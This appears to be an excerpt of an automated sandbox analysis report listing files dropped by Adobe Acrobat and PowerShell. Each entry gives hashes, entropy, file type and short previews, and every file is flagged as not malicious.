SHA1:	55DC0FCDBA4B681F8B4C2806604C452CB28EF893
SHA-256:	2A56C3A2390E32826AB285DEEBFA024A262D6130AE12EBE4EC99CD9335F85B79
SHA-512:	34B7DCD2E11987C4B8F88C20A0B9D4691D94B4A225FCE93B79C5F14C1935B92C1F15AC74F8D702197027C11E381F9F6708857742DD69625A2C22A49214CA327B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.225924643732688
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJf21rPeUkwRe9:YvXKXiHSYpW7fBG+16Ukee9
MD5:	AFD432A3966667E1DE8B59F929B814C8
SHA1:	41EA4802D3355165D4C1DE35C319B473B9B38391
SHA-256:	93F6CEA2C69411F25EC53182782B3A432E38BC71EB966005B90CF1FE513E1098
SHA-512:	6847C6DC6E7B0D7B9FB209DB91787EA3AC355169041A8C5DE4036091916DF44F710FBFD3108C084124B89669093ACC56A2F634C261403F1484374D08B14DF4EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.651374685548162
Encrypted:	false
SSDEEP:	24:Yv6XiXif6amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:Yv3ycBgkDMUJUAh8cvMQ
MD5:	C97E0B04A1A209B1AB0137335D04399C
SHA1:	0803F5CE5548652B3CF49B0970C9E7A5273640C7
SHA-256:	BDA2B351641D5EFDB327AD6C361324F1D8174A54C8BD3023501F3B25E755FB0F
SHA-512:	BFF53072C95CE4438A4BC179A221694490190AA4A8A011D5D9A8106793D39CFE58E53594AB32DFB8F736946F0916D3F986ECCA3A7199202A01CB658CE7365B56
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.200035635218525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJfshHHrPeUkwRe9:YvXKXiHSYpW7fBGUUUkee9
MD5:	799F2941AC38ED0B5DEC3F940B92A583
SHA1:	E014EFA4F5EC576A036A625C97062C3A05294224
SHA-256:	C7E6E7A0A95A3C17A48B95768D9EA789CDD846757A735260FD26BA20023B69D8
SHA-512:	DB8D2986E58570E9BD8E86BA35881B76D2E373B987266FB0588355036E1DC746E9F8CF827522FA1ADDE6C8D01DA478550941972D5BE629FC099BD086C274C8AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.209790598478455
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJTqgFCrPeUkwRe9:YvXKXiHSYpW7fBGTq16Ukee9
MD5:	6CAA2614FC3CF218C92EEC2AEB0C05CE
SHA1:	6F4944F68E27C6FDEB4F223F6028DED18F9D528A
SHA-256:	DA5753079D78B4D99CE09060963FA20A27588DAFF9AFAB327D350C3A1204D015
SHA-512:	20677F80324E9470DB8454C313906F80B7B876444678BD2CF5749CB7D78253BC020402B76D8501ACADE8B4CC6134BA27D87607F1BCBFCD544205AD30AAAA3D8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140475749453328
Encrypted:	false
SSDEEP:	24:YWnQJ9+aw1CaynaxWzqMv8ICsA+jK2j0SCweQ5FWW2S2LScCwtZZOivN6SjJ5DYX:YIfV8vUgKI1HT6NnZOivsAaU9c
MD5:	EFCD6806D38BCFD4724A15BB92B7FA47
SHA1:	51383423D0205F37EB664AE9F2D66F51EC1DF331
SHA-256:	7CAA9D39CCF6C5B9D02EE511DF81FDDE82A0E968EA0422EC162A76075527B59C
SHA-512:	B5C1D80B0DBACD4483A7741A3EF3F97CA48CCB7A81C05EC886755129803801C6889ECDDFBD12E382076503808ED2D4098F9E453DBCC5201C970A1B5B9867CB4E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2fabb2975f3d389f09680a0aeebd3f60","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736564944000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d1c9ab96a10cd0688ae7eb14520d084d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736564944000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"292d9ecfeba182e328f4da11bd964553","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736564944000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"31abca91c1d51a25c8b0d08a8c5fc0ce","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736564944000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f6f9b7b02a59e85345b43051f6650c6d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736564944000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"cd727440c98212207333f52f45e3ff12","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9857017676251648
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpZ4zJwtNBwtNbRZ6bRZ4UF:TVl2GL7ms6ggOVp6zutYtp6P9
MD5:	7C913250E3308B8C9AC53B3762A26A35
SHA1:	7C7691CCD2A555A1A882046EF6A598F01505D14F
SHA-256:	CD3C497DC9E7308A5A41D0CB9426C396F16F7A1BCD375C5F8402C7BFA941FCF0
SHA-512:	C5E1E22EFD28A40DB9E2CFF602F8E8D20CC6CD46F8B227949D197D818C0EA864A5F18DEC71AE7003A2DBC8F494E15A13BF02FBF497E8278B8679D88B697D1B60
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.339168363546111
Encrypted:	false
SSDEEP:	24:7+tDAD1RZKHs/Ds/SpZPzJwtNBwtNbRZ6bRZWf1RZK/fqLBx/XYKQvGJF7ursC:7MDGgOVphzutYtp6PMmfqll2GL7msC
MD5:	258F21D1D02E70B20BD1A24211DA2792
SHA1:	914D0DA78BA3ACD0F5C37202724099D29B7CA340
SHA-256:	827433143EB61F270C912C729D1C855D48C6A5D07C6C1FF89C9C00DEB3FD80DD
SHA-512:	5E471A7EB3C43F6C4B74E93DB63B0718095E859955C1F1AE3236CCF19F43966120F54629CEB3D98CD9764922754C4EDC7A0865934DFE8900E9EB7EC2B97396BD
Malicious:	false
Preview:	.... .c.....0;ZI......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgwRfK66uWC96atfvt19t8dHGmYyu:6a6TZ44ADEwRiOWC96a5PmK
MD5:	488FD40CB3FA2677A9B37872AA12869E
SHA1:	8B884120186D5D2D962A76AD926A3AF626903D11
SHA-256:	561C4E44C94C8C3833BAD5F3936DFB77024B6F70E23EFF67650015E586BBA827
SHA-512:	0B1C41560FF74458F12C0CE401E44B813F5FB783C87E42C440BF2419736CF2F8F51D010634EFD9C24DDC39B827E7FC9492F1EAA218DA420CE4E0F1EDBA85A11F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI71bdd.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClWlkle:Qw946cPbiOxDlbYnuRK+bd
MD5:	9F5D1ABB64AB3778A4D00861C54C6700
SHA1:	31E12616BFFBC66C87921A727A8552ABF10894DE
SHA-256:	5AF703E0D6ADF32BF1E676D2EFF231B0432117BA54E8F459FA282715262C9DE3
SHA-512:	C286B72DF6EDF49A7C7C01B5F6C45B271902E23165722A26E896DCDAD903DE0FDBA3C636204AC0C70321E475603D1395B4B01710A4345008CF3103FDA73F8EDC
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.0.9.:.0.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2waomovb.3ko.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d25xid5o.j2t.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-09-01-174.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.364796626871692
Encrypted:	false
SSDEEP:	384:1J+pmAjd2LRRf2mxcICLP5WLXI9hnOqbR2sg+yOJPijbqqY5+dOdwJxrExntiHHy:cNj
MD5:	D2949BEA267C07F55557E03CE3C12995
SHA1:	5E0377CD206E62C29FF283D197495050CACC5F4B
SHA-256:	72D7418FA74A2717CECDE026D8B83ECF2CA7111E6389D9FB8CD68A8F9C7CE2ED
SHA-512:	E3783A4C5E98D2C3B883D594EC7E81D5ADA1D3AA02D05856002DCAC12F76FF90F6A1E3E52A287A2CE848820D61570BA4D4FEF7A24E906BF314CB40991FB28288
Malicious:	false
Preview:	SessionID=3049fc43-81a7-49b6-ac89-81a28b2f90b4.1736564941184 Timestamp=2025-01-10T22:09:01:184-0500 ThreadID=7564 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3049fc43-81a7-49b6-ac89-81a28b2f90b4.1736564941184 Timestamp=2025-01-10T22:09:01:190-0500 ThreadID=7564 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3049fc43-81a7-49b6-ac89-81a28b2f90b4.1736564941184 Timestamp=2025-01-10T22:09:01:191-0500 ThreadID=7564 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3049fc43-81a7-49b6-ac89-81a28b2f90b4.1736564941184 Timestamp=2025-01-10T22:09:01:191-0500 ThreadID=7564 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3049fc43-81a7-49b6-ac89-81a28b2f90b4.1736564941184 Timestamp=2025-01-10T22:09:01:191-0500 ThreadID=7564 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392890617119972
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbB:6Zy
MD5:	BCE4553DEA406ACF25773B1830A5B56B
SHA1:	16825A2583DCFC64DEA187C6F717240517E48719
SHA-256:	F845EA93DA5224A86C2F98593524E4E9F5C9EB6A4ED374CDECC5C49F8E577702
SHA-512:	75B3B695FCC2BCD8E28B0587632C55854120AEA0C0786E52300BFFCBA453B237E49249E614900A81B5D076C7B5FC649834915B48466370BDB09B6313DD46D536
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\22fa7f3f-1cde-43d5-b430-85b1367678e1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\74625907-869e-4533-9bd1-b9ac9bde5965.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7cd6579e-6df7-4455-af62-2a691739287f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
